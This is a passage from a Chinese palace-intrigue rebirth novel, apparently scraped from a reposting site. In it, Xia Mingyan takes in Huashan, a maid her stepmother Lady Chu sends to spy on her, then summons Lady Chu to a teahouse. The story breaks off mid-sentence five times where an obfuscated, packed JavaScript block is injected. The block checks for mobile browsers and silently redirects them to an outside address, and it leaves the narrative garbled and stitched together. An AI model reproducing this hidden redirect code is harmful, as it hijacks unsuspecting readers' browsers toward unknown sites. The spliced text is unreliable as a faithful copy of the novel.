尤其是这个于杏儿的长相实在太像楚氏了,她要是只做个侍女,等她被楚氏发现了,找个借口把她扣在了夏家怎么办? 毕竟夏明嫣还是夏家的女儿,要是楚氏想叫她身边哪个侍女回去问话,回头就不愿意把人还回去了,她身为女儿,还能为了一个侍女跟自己的继母起冲突么? 可要是于杏儿是华靖离的女人就不一样了,楚氏总不能仗着自己岳母的身份,直接把女婿的妾室、通房抢回夏家吧? 可是于杏儿反对得实在太激烈了,而且她的性子实在太讨喜了,又是个十分伶俐的姑娘家,夏明嫣也就许了,让她留在身边当个女管事。 不过,出于对于杏儿安全和行事便利的考虑,对外就说于杏儿是华靖离的宠婢,随时可能变成通房甚至妾室的那种。 这么以来,短短半个月间,华靖离就多了一个妾室和一个准通房,一向不近女色的钩翊侯两个月之间就添了一妻二妾,一时间传为逸闻。 这件事儿弄得华靖离如今出门都觉得难为情了,就连知道些许内情的圣上见了他都要打趣他几句,说他现在回了元京,就算是开了禁了,这些个妻妾过不了多久就能给他生一堆儿女。 夏明嫣眼中这才有了几分笑意,看了看他,将目光收回来: “说是为了我纳进来,给我和母亲做个伴儿,可在名分上就是咱这后宅的女人了。咱们钩翊侯想要,还不是一句话的事儿?” “你要是开口,我是不会拦的,我可不为了这种事儿生闲气,还得担一个妒妇的坏名声。你也别说是我拦着你、不让你去的,你要去就去好了。” “我哪儿敢啊?不,是我不会,我华靖离这辈子有夫人一个,就足够了。” 华靖离哈哈大笑着揽住夏明嫣的肩头,夏明月一个劲儿地往背着身的郭林那儿看,还不停地对他使眼色,弄得他笑得更厉害了, “我说真的呢,那些个人都是你的门客和你的朋友,跟我没什么关系……这么说也不太对,这妾像是给你纳的了。你不是侯夫人,你是咱们府上的女侯爷!” “好了好了,说点正经事儿,人是夏家送来的,岳父向来不插手内宅之事,这人就该是岳母送来的。这个人跟邓小娘和于姑娘可不一样,她不是你的人,你可有法子拿住她?” 夏明嫣想了想,边站起来边拍掉了手上的花生渣:“不怕,楚夫**概就是看我最近欺负她的好闺女太久了,想送个妾室过来,给我添添堵。” “要是这人是别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118928|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人送来的,我还未必有招儿对付。可人是楚夫人送来的,这样反而不用怕了。你别忘了,咱们府上现在还住着一位娇客呢……这都想不起来,就是你的准通房啊。” 她叫了廊子里的秋果一起往外走,还交待了郭林两句,“好好跟你们侯爷合计吧,回头我也给你说房媳妇,再在城里置个院子,把你娘也接来。” 听着越来越远地道谢声,夏明嫣去让秋果到后面去跟于杏儿说一声,让她把于杏儿叫来,自己到前厅去会楚氏送来的人了。 楚氏直接派了乔嬷嬷来,特意没有把人从侯府侯门送进止戈园,而是直接把人送到了前厅。人一送到,乔嬷嬷就回去了,就那么的把人晾在前厅,人华家人看着、议论着。 这位被送来的侍女就那么的在前厅站着,也不见她紧张或是羞涩,但凡有人探头探脑地看她,她就抬起头大大方方地朝那人笑笑。 夏明嫣到近前之前就有人向她通报了,说是来了个高挑的姑娘,肤色略有些蜜色,像是被日头晒的。 这姑娘的样貌不大气,不过也算是小家碧玉,只是她那气质里带了点儿闯劲儿和精明,听她的谈吐,观她的规矩、行为,比于杏儿要委婉,但论起心思,看起来这姑娘要更外露一点。 夏明嫣听着就觉得这像一个人,到了近前一看,她低声惊呼了一声:“画扇?” 画扇是霞姑姑的女儿,自小跟着她在卢阳长大,只是之前她受了生母霞姑姑的诱哄,偷了许多夏明嫣的旧首饰出去卖掉,换了银子由着霞姑姑连哄带骗地把银子都送去彭州,给了陆远山的那个妾室。 可谁又能想到人生的因缘际会就是这么的玄妙,夏明嫣将画扇真实的身份告诉了她。原来,画扇也是陆远山的女儿,而这件事就连霞姑姑自己都被骗了过去。 这两母女险些就被楚氏借口偷窃处置了,被夏明嫣告知身世之后,安排到了煤场上保命…… 第438章磨难催人成长 霞姑姑从前的丈夫已经过世多年,到了煤场之后,为了母女俩的日子能过得好些,她改嫁给了一个煤场的管事,现在日子过得不见得有多好,却也衣食无忧。 画扇在煤场虽说没有原先大家子姑娘的贴身侍女过得舒服、体面,却也冻不着、饿不着,因为她识字、会算账,现在也能在煤场做些不耗体力的活儿。 夏明嫣通过乔依心在煤场安插了人,前几日还刚说这两母女都好好的,怎么画扇这就被楚氏带走,送到他们这儿来了? 当初这两母女能进煤场,是楚氏让人卖进去的,可既然卖了,就是煤场的人了,那边又有人看着,楚氏怎么随随便便地就把人带出来了,他们这儿连点风声都没收到。 画扇往远处看了看,朝夏明嫣使了个眼色,显然乔嬷嬷虽然回去了,可还有人在远处等着呢。 夏明嫣侧身一看,就瞧见远处有个年纪不大的小丫鬟在跟府里的嬷嬷说话,时不时地往她们这边看过来。 夏明嫣微微一笑,上下打量着比之前麻利了许多的画扇,从前画扇做着摇身一变变成千金小姐的梦,还有着偷窃的毛病。 可自从画扇知道了自己真正的身世以后,或许是要跟楚氏和夏明月斗一口气吧,短短两个多月的光景,她已经以一种飞快的速度成长了起来。 夏明嫣往上首的位置坐了,淡淡地道:“有段日子没见了,你怎么从煤场出来了,招呼都不打一声,该不是又改了主意,要跟夫人一路了吧?” 画扇给夏明嫣特别敷衍地行了礼,说话时昂着头,从远处看她的侧影定然像是一只骄傲的孔雀,可她说话的语气却很是谨慎,还带着一股干劲儿。 显然画扇这是演戏给远处的人看呢,那边的人只能看到这边的情形,却听不到她们在说什么: “华侯夫人见谅,这事儿还真由不得奴婢,张叔前些日子病了,煤场那边就找人替了他的差事,不巧正是乔嬷嬷的远房侄子。奴婢的娘和张叔现在都落在他们手里了,来不及传消息出来。” “奴婢和奴婢的娘可没打算跟楚夫人一路,就我们这种情况,跟谁也不能跟她一路啊……不过,要请夫人您救救奴婢的娘。” 当年霞姑姑跟陆远山春风一度,可因为乔嬷嬷从中遮掩,霞姑姑和楚氏都以为那一晚的男子是夏家的一个小厮,也就是霞姑姑亡故的丈夫。 现在知道这个秘密的除了霞姑姑和画扇母女,就只有乔嬷嬷和夏明嫣,乔嬷嬷要顾全楚氏的感受,不会主动捅破这个秘密。 可要是霞姑姑和画扇敢背叛夏明嫣,夏明嫣只需要将这个秘密告诉楚氏,让楚氏知道她曾经的侍女竟然跟她心心念念的情郎生下了一个孩子,还一直在自己眼皮子底下,不得气疯了。 楚氏爱了陆远山一辈子,到头来如珠如宝养在身边的女儿是陆远山和他的妾室生的,刚刚被委以重任到钩翊侯府来当钉子的“心腹”是陆远山跟她身边的侍女生的。 这要是捅破了,楚氏一定让霞姑姑和画扇彻底从这世上消失,而且一定不会她们死得太痛快。 就是楚霆孝也不会放过这母女俩,他之所以逼着楚氏让夏明月顶替了于杏儿的身份和位子,就是因为在夏明月出生之后,陆远山就因为寒疾再不能生育子嗣,而陆家向来人丁单薄,已然三代单传,其他子嗣都来自陆氏宗族较远的旁支,已然行同外人。 夏明月不仅是陆远山唯一的后人,也差不多可以视同为陆家这一代唯一的后嗣。 无论什么样的丰功伟业,若是辛苦一生创下之后无人继承,创下这番功业的人都难免唏嘘一场。楚霆孝早就个陆远山约定好了,将来夏明月生下的男儿就是陆家的继人。 楚、夏两家养大了夏明月,不管夏明月这个人其他方面怎么样,她被养得足够忠心,她的心里、眼里只有楚夏两家,这一点上端侯府都得靠后,这也成了楚霆孝辖制陆家的根本手段。 可有了画扇就不一样了,她一样也是陆远山的女儿,还是长女。 要论出身,夏明月的生母也只是一个普通的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118929|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良妾,霞姑姑虽说从前是奴籍,可画扇是跟在夏明嫣身边听着那楚家女师的教导长大的,不算差得太多。 若论个人才具和行事的能力,夏明月虽然在琴棋书画上能绝对的碾压画扇,可要论在乱局中谁能管好一摊子事儿还能替将来的陆家继人打理家业,夏明月这任性妄为的性子,还真比不上行事相对稳重还有着一些小算计的画扇。 这样以来,夏明月就不再是拿捏陆家的唯一关键了,而画扇还因为这不公的命运,已经倒向了夏明嫣和华靖离。 物以稀为贵,为了为了让古董的价值更高,尚且会毁掉其他相同的,让那件古董成为孤品,这继人也是一样,楚霆孝只会留下她们当中的一个。 比起画扇,楚霆孝当然会留下对楚、夏两家都有归属感和感情的夏明月,画扇和霞姑姑只会被除掉。 从这个角度来说,画扇和霞姑姑都不会背叛夏明嫣,她们跟楚氏还有楚家原本就是对立的,只能选择夏明嫣。 夏明嫣感慨地笑了一下,抬起手看了看自己修剪精致的指甲,从远处看就好像她要为难这个新送上门儿来的妾室似的: “看来人还是得经历磨难,知道了自己的身世,还要努力在煤场活下去,真的让你成熟了不少,也能屈能伸了。” 别看画扇只是一个侍女,她的心气儿可比从前的夏明嫣高,那会儿的她,是无论如何不会跟煤场的那些人打成一片的,更不会接受一个煤场的小管事儿做自己的继父,还一口一个“张叔”地叫着。 人有些心机,不见得是件坏事,只要把这份心机放到该用的地方去,大部分人的日子都是越过越好的。 这一点夏明月还真比不上画扇,其实夏明嫣到现在都没闹明白,为什么夏明月两辈子都追着她闹,什么都要跟她比。 偏偏夏明月还喜欢用自己的短处跟她的长处比,最后弄得自己一腔怨愤,跳着脚的恨不得把她生吞活剥,还会因为李玦这个奇葩吃飞醋……从来不把心思和精力用在该用的地方。 第439章呼奴唤婢 画扇看着眼前的夏明嫣何尝没有感慨,她自己变化很大不假,可夏明嫣的变化才叫做脱胎换骨: “夫人的变化才叫大,奴婢从小跟在夫人身边,要不是确定自己没有认错人,还以为您是另一个人呢。” “不过奴婢从前是真的蠢笨,心地还不大好,夫人么,却从小就是一个擅长掩饰自己的高手。也对,高门贵女有哪一个是简单的,您要是个简单的,也不能在楚夫人的眼线底下平平安安地活到出嫁。” “既然如此,夫人现在应该也有法子救奴婢的娘和张叔吧?救了奴婢的娘,能佐证奴婢的身世,她对您也是有用的。” 这是怕她不愿意救人啊,很好,终于又来了一个不是予取予求性子,而是知道交情不道的情况下想要办成一件事是需要交换的了。 夏明嫣先没回答她的问题,而是反问道:“先说说,楚夫人让你来做什么的吧。” 画扇这回想都没想就竹筒倒豆子似的说了:“大概是二姑娘回去告状,楚夫人气您非但没帮着二姑娘,还让她跟李世子下不来台,想给您一个警告。” 她低下了头,提到这件事多少有些尴尬,“大概是因为之前奴婢偷您东西还帮着她构陷沈小娘,她以为您虽为奴婢母女求了情,到底还是厌恶了奴婢,而奴婢也定然对您不念旧情心生怨怼,这才想着把奴婢塞到您这儿来恶心您。” “别的她倒是没说,大概是不信任奴婢吧。只说华家人要是有什么动作,尤其是有关夏、楚两家和端侯府的,让奴婢务必给她报个信儿,再就是……” “要你离间我们夫妻,必要是还可以跟邓小娘联手,可对?” 夏明嫣一看画扇的表情就知道楚氏定然吩咐了这一点,她不以为意地笑了笑,站起身,示意画扇跟着她走, “我当然可以救你娘和张管事,要是连庇护你们都做不到,我可不敢把那么大的秘密告诉你们。你跟我来,咱们一块儿救霞姑姑去,顺便再告诉你一个更大的秘密。” 画扇没敢多问,一副受了委屈的样子,跟在夏明嫣身后,朝着那个夏府小丫鬟走去。 夏明嫣像是很不满这个娘家送来的碍眼妾室似的,对着那小丫鬟劈头盖脸地道: “你是家里谁的人,怎么以前没见过你?母亲给我夫君送个妾室来,就怕你这么一个**丫头,乔嬷嬷呢?这么快就回去了,这是想着把人直接扔在这儿,让我不得不接着啊。” 画扇虽然生得不像陆远山,而是像她娘霞姑姑,可也算是个娇俏的小美人儿,关键是她从小跟在夏明嫣,定然知道夏明嫣不少秘密,并且十分了解夏明嫣的性情。 把这么一个人送给华靖离,不仅能够更为有效的离间他们夫妻,夏明嫣面对昔日身边人的背叛,一定又急又气,日子久了,要是画扇再得了宠了,非得生出怨怼来。 人最怕的就是自乱阵脚,夏明嫣只要自己乱了,又成了一副怨妇嘴脸,华靖离便再难站在她这一边了。 楚氏想的就是夏明月不好过,她也不让夏明嫣好过,而且夏明嫣跟华靖离毕竟成婚不久,两个人之间的默契和联盟都还不够坚实,硬要拆开,还不是不能。 不得不说同样是派人当眼线、使离间计,楚氏派出画扇,李玦派出孙允斌,还是楚氏的手段更为高明。 那小丫鬟吓了一跳,不过很快镇定下来,夏明嫣的反应跟乔嬷嬷之前说的居然一样,她昂着头,就像以前的画扇,很不客气地道: “您这话说的,长辈赐,不可词,不管人是谁送来的,您不都得收下么?夫人只说,这人您可还满意,可收下了?奴婢好去回话。” 要是换了乔嬷嬷,说这番话就不合适了,可换了这么一个十岁上下的小丫鬟,有什么说不得的,夏明嫣要是因此气恼罚了她,才叫有失教养。 夏明嫣可不会说要罚她,她就跟斗气似的,也孩子气地对着小丫鬟一顿说: “不满意,我钩翊侯府的妾室,上有卜小娘,是服侍先太后娘娘的宫女,下有邓小娘和于通房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些日子已经足够让画扇母女有了盘算,陆家在败落之前高门的派头比楚家还大,就算陆远山认下了这个女儿,他日东山再起,他也会更加偏向楚、夏两家养大的夏明月。 夏明月身后不止有这两家和端侯府的支持,她的养母楚氏是陆远山心底里的人,而她的生母也是与陆远山同甘共苦多年的人,画扇跟本没法跟夏明月比。 而且若是以前倒是罢了,跟着陆远山这个爹不受宠,也或许还有好日子过,可现在夏明月那边连连出事,就连李玦也得了怪病,夏、楚两家这两年也没见成什么大事。 更何况霞姑姑通过那个妾室是跟陆远山有联系的,这两个人都不知道霞姑姑和陆远山有过一晚的事儿,即便是认了,能对她们母女多好? 画扇打定了主意,掀开幕帘看了眼马车外面走着的小丫鬟,回头低声对夏明嫣道: “夫人,奴婢从前错了主意,年纪又小,没有见识,才会干下那等上不得台面的事,奴婢知道错了。” “你到底想说什么?毕竟是从小一起长大的人,在老宅时若没有霞姑姑的照拂,我也未必能平安长大。你们母女纵使有错,到底不是首恶,有什么话就说吧。” 夏明嫣认真地道,偷窃的事她可以当作没发生过。陷害卜小娘,的确是大错,只是楚氏让她们这么干,她们不答应,恐怕性命难保。 即便是自己身边最亲近的人,她也不会要求对方一定要豁出命去为自己做什么,他们的命也是命。 上一世,沈小娘**,后来她得知画扇早已背叛她之后的确是恨的,可她那时也明白,即便没有画扇和霞姑姑,楚氏也会找到别的人这么做的。 她更恨的是后来她们都脱离了楚氏,画扇依旧在害她,甚至还是为了给李玦当妾害她。 可是这一世沈小娘没死,因为知道了自己的身世,画扇大受刺激,发生了改变,虽说这种改变从根本上说不是因为夏明嫣,是因为画扇母女本身的仇恨和危机感,说白了还是以利诱之。 可在这偌大的元京里,除了华靖离、沈小娘、朱老太太、乔依心、秋果……这少数的几个人,也一样难保证其他人就并非为利所动。 她要是各个都要计较一个真心,这才要没法活了,她不会妄想把画扇变成乔依心和秋果,她就把画扇当作一个可以合作的人,当作一把将要插向楚氏和夏明月的尖刀,就可以了,大可不必把上一世的恨带到这一世。 画扇现在特别知道眉眼高低,低声下气地道:“夫人,您也知道,奴婢其实没有那么大的野心,奴婢从前也不过是想着奴婢的娘能改嫁给一个富商,让奴婢当上商贾家的姑娘。” “奴婢自小在下头的这些人里还算是个伶俐的,可要是跟夫人、楚夫人和元京的各位贵女、夫人们比,那就……像小蚂蚁一样,不值一提了。” “奴婢将来只想要一个安稳、富足的日子过,还想要报仇,让二姑娘也知道知道,奴婢跟她也不差着什么。还有楚夫人,奴婢想让她瞧瞧她当初卸磨杀驴的后果……只要夫人能帮奴婢母女做到这些,奴婢愿对天发誓,别的都无所求。” 画扇将来有没有别的要求不重要,谁都有提出要求的权利,但答不答应,那就是做决定的人的事儿了。 重生以来,夏明嫣一直在努力让自己拥有做决定的权力,现在还有华靖离帮她。 她相信,等到那时,要是画扇提出的要求超出了承诺,只要不过分,她相信她会有能力满足。要是画扇贪得无厌,她也有能耐拒绝并且不会因此生出乱子来。 夏明嫣笑了笑,没有因为画扇敢于提出要求而有丝毫恼怒:“卸磨杀驴,你是驴么?说是驴不如说是草,你该让她后悔斩草未除根啊,是吧?” 当初她用了计,楚氏得知霞姑姑这些年一直在通过那个妾室跟陆远山有联系,直接就想灭了她们母女的口,正好把散布夏明嫣身世谣言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121440|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的罪名栽到她们头上。 要不是夏明嫣想着她们还有利用价值,将来可以拿来对付楚氏和夏明月,教她们利用霞姑姑跟彭州那边的通路,才保住了她们的性命,给了她们机会能在煤场苟延残喘地活着。 这也是在提醒画扇,楚氏和夏明月是会要她们母女命的老虎,她们也才逃过一劫不久,实在不该忘了当初的教训。 画扇听了这话果然一哆嗦:“奴婢现在就指天发誓,要是日后有任何非分之想,或是敢对不起夫人的话,定糟天打雷劈!” 目光里带着玩味的笑,夏明嫣白了画扇一眼:“你放心,我是个喜欢做买卖的人,你也不用说这些不见得有用的话,只要你不耍什么歪心思,说不定你得到的回报远多于你的想象呢?” “你怕我救不了你娘,这你就放心吧,我敢保证,你娘一定能全须全尾地回来。不信,后头那辆马车里坐着的就是我制胜的武器。” 画扇没想明白,刚才她看见了那个戴着帷帽的女子上了后头的马车,可那就是一个十来岁的侯府通房,怎么有可能拿捏得住楚氏呢? 这女子要是有那么大的本事或背景,根本就不会沦落到当通房,可是没有这些,又怎么拿捏得住楚氏。 画扇带着一肚子的疑问重新来到了夏府门前,夏明嫣带着人走在最前面,谁知她到了大门口又突然站住了,对着那小丫鬟道: “乔嬷嬷选了你去钩翊侯府送妾,想来你是个记性好还会学舌的,不然怎么能把在侯府看到的、听到的都学回来呢?” 小丫鬟被说了个正着,脸一下子就红了:“华侯夫人也太刻薄了,夏家好歹是您的娘家,乔嬷嬷和夫人这也是关心您。这都到了,您赶紧去见夫人吧。” 夏明嫣故意重重地叹了口气:“我又改主意了,不打算进去了,我觉得有些事还是不要在这府里解决好。我问你记性好不好、会不会学舌,是因为想请你给夫人带句话。” 第441章高高在上 小丫鬟急了:“这都到家门口了,华侯夫人如今尊贵了,连娘家的门儿都不进了?您刚才就不满夫人送给您的妾室,现在又在夏府门口说这些不敬父母的话……” “行了行了,一来,我可没说不收这妾室,只是说在钩翊侯府当妾也是要门槛儿的。二来,我不进去说,纯粹是为了母亲好,你过会儿就知道了。” 外头有人见她们起了争执,不近不远地围上来看热闹,夏明嫣像是生怕这些人听不到似的,清了清嗓子,朗声道, “你听好了,‘凉夜柔风拂旧枝,再赏昔年盛景时’,记住了吧?就说我在前头的茶肆恭候,进去传话吧,看看你的主子们会不会来。” 夏明嫣说完就带着一众钩翊侯府的人往隔了一条街的茶肆走去,这回所有人都没坐马车,一行人风风火火地招摇过市。 有人听到了那两句诗,见不是整诗,又只有两句,便问她是不是她妹夫李玦所做,还打听起李玦的病来。 夏明嫣也老大不客气外加另有所指地道:“不是他作的,就他那水平可敢不上这位长辈。端侯世子如今病重,也没工夫做这等寓意美好的词句。” “诶,你们也别老想着他了,这么多年了,你们可曾听过他所作的完整的诗句?没听过是吧,多长点脑子吧,好好想想。” 别的也不多说,身后的仆妇挡开这些围上来的人,为她们一行人开了路。一行人进了茶肆,还是那天李玦在门前的场子上展示骑射功夫的茶肆。 不过,这回不同了,她们把一层楼的人都清空了,左右两个出口也都派了人看着,不让外人上来,竟是一点风声都不打算露。 这样反而更引人好奇,因为夏明嫣如果要说什么机密之事,就该回夏家或是在钩翊侯府说,不该来这茶肆。就算要在茶肆议事,也不该如此大张旗鼓地带着一群人走过去。 其实这回夏明嫣是真的没打算把接下来要说的事儿散布出去,毕竟时候未到,她需要这些人的议论,之事为了给楚氏和她背后的楚霆孝施压。 她跟华靖离商量过了,如果还按照上一世事情发展的顺序和速度来,他们能改变的太少,变数也太大。 现在是她和华靖离、夏明月都重生了,未必之后没有其他人像他们一样,也成为重生的“觉醒”人士。 而且上一世李玦和夏明月在这时候都没有遭遇过大变故了,楚霆孝也无须在这个时候面对华靖离这么大的阻力,他们都有可能调整原本的计划,从而将事情引向新的变化。 如果最终的结局要在十年后到来,实在太麻烦,不仅是他们夫妻二人,下至他们身边的人,上至朝廷、宫里和整个大恒的许多人都得一直提心吊胆地过日子。 他们现在想要改变策略,最好在这三年内解决掉李玦、夏明月和楚霆孝,同时将陆家的人马提前引出来,先将这四家的联盟打散,让他们各自都有了该有的下场,之后再放开手脚,帮助朝廷解决南疆之乱。 所以,她要提前跟楚氏摊牌了,不仅如此,今日也相当于跟于杏儿和画扇摊牌了,之后还有夏明月……这些就好好等着吧,很快,她们的生活将更加不平静。 夏明嫣和于杏儿先进了雅房,夏明嫣吩咐于杏儿先别摘下帷帽,转而看着在门口尴尬止步的画扇道: “你也进来听着,放心,今日我不会把你们母女的秘密说出去,更不会把你们交给楚夫人。恰恰相反,还有另一个秘密,跟你们的那个息息相关,是时候让你知道了。” 她转过头对着身后落后了两个身为坐着的于杏儿道,“还有你,于姑娘,我之前讲的那个故事,你还记得吧?你一直问我堂堂钩翊侯府,想要什么样的民间女子没有,为何会挑中你,你很快就会知道了。” 楚氏来的很快,听到那两句诗的时候,她一直以来维持得很好的镇定终于被打破了。 楚氏一面怀疑夏明嫣知道了当**,一面又在安慰自己,那两句诗不仅在那个荷包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134961|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上绣过,还是陆家没有被贬谪之前,陆远山就作了的。 那首诗曾经在上元灯节吟诵过,当时她跟陆远山正柔情蜜意着,还有婚约在身,这首诗一度是他们之间感情的见证,许多人都曾经听过。 万一夏明嫣只是打听到了这首诗,因为她今日塞了个妾室过去,生气了想要用这些陈年往事贬损她,也不是没有可能的。 楚氏抱着这样的心态到了茶室,她尽可能地维持着一贯以来的姿态,高傲地昂着她那张尽管步入中年依旧艳丽张扬的脸,进了门,她什么都没说,就那样居高临下地睨着正在烹茶的夏明嫣。 于杏儿和画扇对着楚氏行了个礼,就在后头找了个地方站着,楚氏身上有一种威压之感,弄得她们都不敢坐了。 夏明嫣起身,随意地对着楚氏福了福身,问了句安,就继续坐下烹茶: “咱们也不必客气来、客气去地兜圈子了,我也早就不称您为母亲了,不光是因为您让那四位女师在我身上做了手脚,实在是觉得您的人生如戏一般,若是再在别的事儿上做戏,咱们可就都成戏子了。” 果然是来找她来出气的,这个没大没小的贱丫头,一个蛊医生的女儿,也配在这儿跟她叫嚣。 楚氏很想训斥夏明嫣,可是她看着眼前的夏明嫣气定神闲的样子,她忽然发现,她已经没办法掌控这个两个月前还只会低头、点头的“女儿”了。 她很是好奇,也同时开始怀疑自己的判断,她不清楚夏明嫣是一向如此只是之前隐藏了起来,还是这两个月来,从身世谣言和沈小娘被构陷开始,到出嫁、掌握钩翊侯府中馈,因为她本身天赋极好,又有了阅历的加成,发生了突飞猛进、翻天覆地的变化。 楚氏疑心向来重,她比较倾向于前者,那杨家就是一介蛊医,哪儿能给夏明嫣多少这方面的天分。 夏明嫣的天分哪里赶得上夏明月还有她如今不知道在哪儿的亲生女儿,她怎么可能长进得这么快。 第442章还好不是被她养大的 与其让楚氏相信夏明嫣会突然转变,她更愿意相信夏明嫣从小就是一个心机深沉的人,只是十分擅长隐藏自己,把他们都骗了。 楚氏仪态端庄、神情镇定地在对面的位子上坐下,信手取了面前的茶具、茶粉,开始做茶。 这种“文斗”的时候,许多人都喜欢做点什么,这样做可以借此掩饰自己心中所想,也可以从对方的动作、神情里看出更多端倪,东西做得好不好,也是事情能不能成的兆头。 楚氏姿态优雅、动作行云流水,完全就是一派元京高门贵女的姿态,她不时地往夏明嫣那儿看一眼,却见夏明嫣的烹茶方式却有些粗犷,像是她从前看过的一种南边功夫茶的做法。 只是夏明嫣这法子想来不是高门茶师教出来的,带着一种……乡下泥土的气息。 楚氏掀唇一笑:“我好心好意地让楚家的女师去那穷乡僻壤之地教你,为的就是有朝一日你得嫁高门,不至于丢了夏家的颜面,你也能有能耐帮帮上家里一二。” “如今倒好,你对我这个没有亲手养育过你一日的继母不知感恩也就罢了,你这不孝父母的架势,是打算连你父亲和夏家都不顾了。” “还是说你天生不孝,从小就不认父母。没错,那几个女师是我授意的,可你也不是不能生了,只是晚生一些,让你能多专注夫家的内务几年,你就计较成这样。也不看看你二妹妹,为了夏家牺牲良多。” 夏明月牺牲的多,就让她多让着,也不看看夏明月为何会走到如今这般田地。 夏明嫣继续动作豪迈地做她的茶,她身形纤瘦,这样的动作让她的手臂有一种大开大合的感觉,看起来却丝毫不显得粗鄙,反而有一种在风浪中起舞的感觉。 她看了看楚氏,上辈子她把楚氏当作她回元京立足的救命稻草,其实她那么想回元京,何尝不是因为她想在父母身边成婚膝下,享受关爱和温暖,这些她从出生开始的十几年里未曾享受过的东西。 她所求的关爱其实并非来自楚氏,而是来自她的父亲夏庸,可是想让夏庸疼爱她这个女儿,就必须先过楚氏这一关,她这才渴望着从楚氏身上找到认可和温暖的。 现如今她有了华靖离和华家人,也保下了沈小娘和朱老太太,她再不需要什么狗屁夏庸和楚氏了。 这时候她也是头一次在这么近的距离、用并非女儿的目光和心态来打量楚氏,她忽然觉得这么着也挺有意思的,她声音含笑着道: “夫人觉得这是小事儿,可愿意把这桩小事放在二妹妹身上?您既然不愿意,就意味着您并未真正把我当作女儿看待,又怎能要求我用对待母亲的态度来对待您呢?” “您说二妹妹为了夏家牺牲良多,这不是她自找的么?换亲是她拿的主意,端侯府缩减嫁妆,是她要证明自己跟李世子情比金坚而不计较的,对着自己的婆母和夫家的亲戚不依不饶、硬碰硬,多少人劝过她,她都不听……” 茶香袅袅,夏明嫣悠闲而带着特殊意味地帮着楚氏概括、总结着。 御青书院的事儿就更别说了,李玦和何夫人都没让夏明月张罗,是她自己硬要张罗还给搞砸了的。 再有那公堂上的事儿,先不说那孩子到底是成婚之前的事,何夫人所做的处置虽然有违律法和人情,可站在一个大家主母的立场来看,并没有多大问题。 那个孩子的存在连李玦自己都不知道,何夫人也是在李玦成婚后才知道的,夏明月已经进门了,不那样把孩子藏起来瞒着,你让她能怎么办? 要是何夫人真的完全不顾夏明月的感受,大可以直接把吕大姑娘母子直接接近府去,把那孩子放她这个祖母身边养着,再让李玦给夏家请个罪,夏家也不会揪着不放的。 在这件事上,夏明月可以怪李玦,却不应该过分苛责何夫人。她明明知道,上辈子这孩子一辈子都没见光,她根本犯不着在公堂上对何夫**打出手、落井下石,一下子就坏了大半夫妻情分。 后面的事儿就更别说了,李玦自己轻率了,竟然敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134962|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去公然要挟华靖离,他受挫后回府,夏明月不仅没有安慰、规劝,反而变本加厉地学上加霜,把李玦给活活气“**”了……这不都是她自己作出来的么? 